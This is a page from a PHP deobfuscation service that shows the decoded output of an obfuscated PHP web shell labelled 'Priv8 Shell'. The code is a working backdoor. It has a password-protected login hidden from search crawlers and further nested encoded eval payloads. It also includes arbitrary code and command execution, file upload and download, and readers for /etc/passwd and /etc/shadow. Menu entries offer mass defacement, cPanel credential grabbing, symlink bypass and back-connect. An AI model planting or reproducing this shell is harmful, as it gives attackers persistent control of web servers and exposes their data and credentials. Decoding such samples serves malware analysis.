Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$st = "str_rot13"; $gz = "gzinflate"; $st2 = "str_rot13"; $bs = "base64_decode"; $hex = "5..

Decoded Output download

b'@ini_set(\'error_log\', NULL);
@ini_set(\'log_errors\', 0);
@ini_set(\'max_execution_time\', 0);
@ini_set(\'output_buffering\', 0);
@ini_set(\'display_errors\', 0);
$ = true;
$ = \'utf-8\';
$ = \'FilesMan\';
$ = md5($_SERVER[\'HTTP_USER_AGENT\']);
if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {
	prototype(md5($_SERVER[\'HTTP_HOST\'])."key", $);
}

if(empty($_POST[\'charset\']))
	$_POST[\'charset\'] = $;
if (!isset($_POST[\'ne\'])) {
	if(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));
	if(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));
	if(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));
	if(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));
	if(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));
}
$hex = "SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ==";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($hex))))));
$xd = "fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($xd))))));
$configs = "KytJ0ChYWCtX10OJag1l8QhlZo9JL6hFj9XUR6jm5UUAgqKC0iQFJZvk1CI7JXiIkFdOlYKtAoYWqHlNQU1tRJUGQxFZBHeEPrIZhXJSQEmtgr0dAA==";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($configs))))));

function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
if(version_compare(PHP_VERSION, \'5.3.0\', \'<\')){
    set_magic_quotes_runtime(0);
}
@define(\'VERSION\', \'Priv8 Shell\');
if(get_magic_quotes_gpc()) {
	function stripslashes_array($array) {
		return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);
	}
	$_POST = stripslashes_array($_POST);
    $_COOKIE = stripslashes_array($_COOKIE);
}
/* () 11.2011 oRb */
if(!empty($)) {
    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $))
        prototype(md5($_SERVER[\'HTTP_HOST\']), $);
    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $))
        hardLogin();
}
if(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))
    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$;
function hardLogin() {
		if(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {
		  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
		  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {
		  header(\'HTTP/1.0 404 Not Found\');
		  exit;
		  }
		}
	die("</br></br></br>
	
	<style>
	body {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); } </style><body><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'><img src=\'https://i.imgur.com/4Fq8k1E.png\' align=\'center\'><br><br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'>>\' style=\'border:none;background-color:#1e252e;color:#fff;cursor:pointer; \'></form></pre> </body>");
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = \'win\';
else
	$os = \'nix\';
$safe_mode = @ini_get(\'safe_mode\');
if(!$safe_mode)
    error_reporting(0);
$disable_functions = @ini_get(\'disable_functions\');
$home_cwd = @getcwd();
if(isset($_POST[\'c\']))
	@chdir($_POST[\'c\']);
$cwd = @getcwd();
if($os == \'win\') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != \'/\')
	$cwd .= \'/\';

function hardHeader() {
	if(empty($_POST[\'charset\']))
		$_POST[\'charset\'] = $GLOBALS[\'\'];
	echo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title> " . VERSION ."</title>
	<link href=\'https://fonts.googleapis.com/css?family=Open+Sans\' rel=\'stylesheet\'>
<style>
	body {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); } 
	
	canvas{ display: block; vertical-align: bottom;}
	#particles-js{width: 100%; height: 100px; background-color: #000000; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
	body,td,th	{font:10pt Open Sans, sans-serif;margin:0;vertical-align:top;}
	table.infoo	{color:#ffffff; background-image: url(\'https://i.imgur.com/gL0UG8Y.png\'); background-position: center;  background-repeat:no-repeat;  -webkit-background-size: cover;	-moz-background-size: cover; -o-background-size: cover;	background-size: 80%; }
	table.info	{color:#ffffff;}
	table#toolsTbl {background-color: #000000; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); }
	span,h1,a	{color:#ff1111 !important;}
	span		{font-weight:bolder;}
	h1			{border-left:5px solid #ff1111;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px; }
	div.content	{padding:5px;margin-left:5px;background-color:#000000; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\');}
	a			{text-decoration:none;}
	a:hover		{text-decoration:underline;}
	.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
	.tooltip:hover::after {opacity:1;visibility:visible;}
	.ml1		{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
	.bigarea	{min-width:100%;max-width:100%;height:400px;}
	input, textarea, select	{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Open Sans, sans-serif;outline:none; }
	label {position:relative}
	label:after {content:\'<>\';font:10px \'Open Sans\', sans-serif, monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
	label:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
	form		{margin:0px;}
	#toolsTbl	{text-align:center;}
	#fak 		{background:none;}
	#fak td 	{padding:5px 0 0 0;}
	iframe		{border:1px solid #000000;}
	.toolsInp	{width:300px}
	.main th	{text-align:left;background-color:#000000;}
	.main tr:hover{background-color:#373c42;}
	.main td, th{vertical-align:middle;}
	input[type=\'submit\']{background-color:#ff1111;}
	input[type=\'button\']{background-color:#ff1111;}
	input[type=\'submit\']:hover{background-color:#ff1111;}
	input[type=\'button\']:hover{background-color:#ff1111;}
	.l1			{background-color:#202832;}
	pre			{font:9pt \'Open Sans\', sans-serif;}
</style>
<script>
    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';
    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'
    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';
    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';
    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';
    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"
")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';
    var d = document;
	function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
	function base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		d.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');
		d.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');
		d.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');
		d.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');
		d.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = \'ajax=true\';
		for(i=0;i<d.mf.elements.length;i++)
			params += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);
		sr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject(\'Microsoft.XMLHTTP\');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open(\'POST\', url, true);
            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\\d+)([\\S\\s]*)\", \'m\');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert(\'Request error!\');
	}
</script>
<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>
<form method=post name=mf style=\'display:none;\'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
	$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname(\'r\');
	$kernel = @php_uname(\'s\');
	$explink = \'https://www.exploit-db.com/search/?action=search&description=\';
	if(strpos(\'Linux\', $kernel) !== false)
		$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . \' \' . substr($release,0,3));
	if(!function_exists(\'posix_getegid\')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(@posix_geteuid());
		$gid = @posix_getgrgid(@posix_getegid());
		$user = $uid[\'name\'];
		$uid = $uid[\'uid\'];
		$group = $gid[\'name\'];
		$gid = $gid[\'gid\'];
	}
	$cwd_links = \'\';
	$path = explode("/", $GLOBALS[\'cwd\']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].\'/\';
		$cwd_links .= "\")\'>".$path[$i]."/</a>";
	}
	$charsets = array(\'Windows-1251\', \'UTF-8\', \'KOI8-R\', \'KOI8-U\', \'cp866\');
	$opt_charsets = \'\';
	foreach($charsets as $)
		$opt_charsets .= \'<option value="\'.$.\'" \'.($_POST[\'charset\']==$?\'selected\':\'\').\'>\'.$.\'</option>\';
	$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Mass Deface\'=>\'Sql\',\'Adminer\'=>\'Adminer\',\'Terminal\'=>\'Console\',\'Mass User\'=>\'Edituser\',\'Grab Cpanel\'=>\'Php\',\'Get Configs\'=>\'SafeMode\',\'Symlink\'=>\'Sym\',\'Jumping\'=>\'StringTools\',\'Cgi Telnet\'=>\'Bruteforce\',\'Bypass\'=>\'bypas\',\'BC\'=>\'Network\');
	if(!empty($GLOBALS[\'\']))
	if (isset($_REQUEST[\'xd\'])) {
		$m[\'Reseller\'] = \'Reseller\'; }
	$m[\'Logout\'] = \'Logout\';
	$m[\'Self Remove\'] = \'SelfRemove\';
	$menu = \'\';
	foreach($m as $k => $v)
		$menu .= \'<th>[ <a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a> ]</th>\';
	$drives = "";
	if ($GLOBALS[\'os\'] == \'win\') {
		foreach(range(\'c\',\'z\') as $drive)
		if (is_dir($drive.\':\\'))
			$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
	}
	/* () 08.2015 dmkcv */
	echo \'<table class=infoo cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.
		 \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="https://anon.click/protected/https://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#ffffff><b>OFF</b></font>\').\' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\'FilesMan\',\'\'.$GLOBALS[\'home_cwd\'].\'\',\'\',\'\',\'\')">[ home ]</a><br>\'.$drives.\'</td>\'.
		 \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.
		 \'<table style="background-color:#373c42;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div>\';
}
function hardFooter() {
	$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#ffffff\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
	<tr>
		<td><form onsubmit=\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>
		<td><form onsubmit=\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>
		<td><form onsubmit=\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>
		<td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\"return false;\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>
		<input type=hidden name=a value=\'FilesMan\'>
		<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>
		<input type=hidden name=p1 value=\'uploadFile\'>
		<input type=hidden name=ne value=\'\'>
		<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>
		<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>
	</tr></table></div>
	
	
	</body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }
function ex($in) {
	$ = \'\';
	if (function_exists(\'exec\')) {
		@exec($in,$);
		$ = @join("
",$);
	} elseif (function_exists(\'passthru\')) {
		ob_start();
		@passthru($in);
		$ = ob_get_clean();
	} elseif (function_exists(\'system\')) {
		ob_start();
		@system($in);
		$ = ob_get_clean();
	} elseif (function_exists(\'shell_exec\')) {
		$ = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$ = "";
		while(!@feof($f))
			$ .= fread($f,1024);
		pclose($f);
	}else return " Unable to execute command
";
	return ($==\'\'?" Query did not return anything
":$);
}
function viewSize($s) {
	if($s >= 1073741824)
		return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
	elseif($s >= 1048576)
		return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
	elseif($s >= 1024)
		return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
	else
		return $s . \' B\';
}
function perms($p) {
	if (($p & 0xC000) == 0xC000)$i = \'s\';
	elseif (($p & 0xA000) == 0xA000)$i = \'l\';
	elseif (($p & 0x8000) == 0x8000)$i = \'-\';
	elseif (($p & 0x6000) == 0x6000)$i = \'b\';
	elseif (($p & 0x4000) == 0x4000)$i = \'d\';
	elseif (($p & 0x2000) == 0x2000)$i = \'c\';
	elseif (($p & 0x1000) == 0x1000)$i = \'p\';
	else $i = \'u\';
	$i .= (($p & 0x0100) ? \'r\' : \'-\');
	$i .= (($p & 0x0080) ? \'w\' : \'-\');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
	$i .= (($p & 0x0020) ? \'r\' : \'-\');
	$i .= (($p & 0x0010) ? \'w\' : \'-\');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
	$i .= (($p & 0x0004) ? \'r\' : \'-\');
	$i .= (($p & 0x0002) ? \'w\' : \'-\');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
	return $i;
}
function viewPermsColor($f) {
	if (!@is_readable($f))
		return \'<font color=#ff1111><b>\'.perms(@fileperms($f)).\'</b></font>\';
	elseif (!@is_writable($f))
		return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';
	else
		return \'<font color=#ffffff><b>\'.perms(@fileperms($f)).\'</b></font>\';
}
function hardScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}
function which($p) {
	$path = ex(\'which \' . $p);
	if(!empty($path))
		return $path;
	return false;
}


function actionRC() {
	if(!@$_POST[\'p1\']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"VERSION" => VERSION,
			"safemode" => @ini_get(\'safe_mode\')
		);
		echo serialize($a);
	} else {
		eval($_POST[\'p1\']);
	}
}
function prototype($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}
function actionSecInfo() {
	hardHeader();
	echo \'<h1>Server security information</h1><div class=content>\';
	function showSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo \'<span>\' . $n . \': </span>\';
			if(strpos($v, "
") === false)
				echo $v . \'<br>\';
			else
				echo \'<pre class=ml1>\' . $v . \'</pre>\';
		}
	}
	showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
    if(function_exists(\'apache_get_modules\'))
        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));
	showSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');
	showSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
	showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
	showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
	showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
	$temp=array();
	if(function_exists(\'mysql_get_client_info\'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists(\'mssql_connect\'))
		$temp[] = "MSSQL";
	if(function_exists(\'pg_connect\'))
		$temp[] = "PostgreSQL";
	if(function_exists(\'oci_connect\'))
		$temp[] = "Oracle";
	showSecParam(\'Supported databases\', implode(\', \', $temp));
	echo \'<br>\';
	if($GLOBALS[\'os\'] == \'nix\') {
            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\');
            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"shadow\")\'>[view]</a>":\'no\');
            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
            if(!$GLOBALS[\'safe_mode\']) {
                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
                echo \'<br>\';
                $temp=array();
                foreach ($userful as $)
                    if(which($))
                        $temp[] = $;
                showSecParam(\'Userful\', implode(\', \',$temp));
                $temp=array();
                foreach ($danger as $)
                    if(which($))
                        $temp[] = $;
                showSecParam(\'Danger\', implode(\', \',$temp));
                $temp=array();
                foreach ($downloaders as $)
                    if(which($))
                        $temp[] = $;
                showSecParam(\'Downloaders\', implode(\', \',$temp));
                echo \'<br/>\';
                showSecParam(\'HDD space\', ex(\'df -h\'));
                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
				showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));
            }
	} else {
		showSecParam(\'OS Version\',ex(\'ver\'));
		showSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));
		showSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));
	}
	echo \'</div>\';
	hardFooter();
}
function actionFilesTools() {
	if( isset($_POST[\'p1\']) )
		$_POST[\'p1\'] = urldecode($_POST[\'p1\']);
	if(@$_POST[\'p2\']==\'download\') {
		if(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST[\'p1\']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST[\'p1\'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST[\'p2\'] == \'mkfile\' ) {
		if(!file_exists($_POST[\'p1\'])) {
			$fp = @fopen($_POST[\'p1\'], \'w\');
			if($fp) {
				$_POST[\'p2\'] = "edit";
				fclose($fp);
			}
		}
	}
	hardHeader();
	echo \'<h1>File tools</h1><div class=content>\';
	if( !file_exists(@$_POST[\'p1\']) ) {
		echo \'File not exists\';
		hardFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
	if(!$uid) {
		$uid[\'name\'] = @fileowner($_POST[\'p1\']);
		$gid[\'name\'] = @filegroup($_POST[\'p1\']);
	} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));
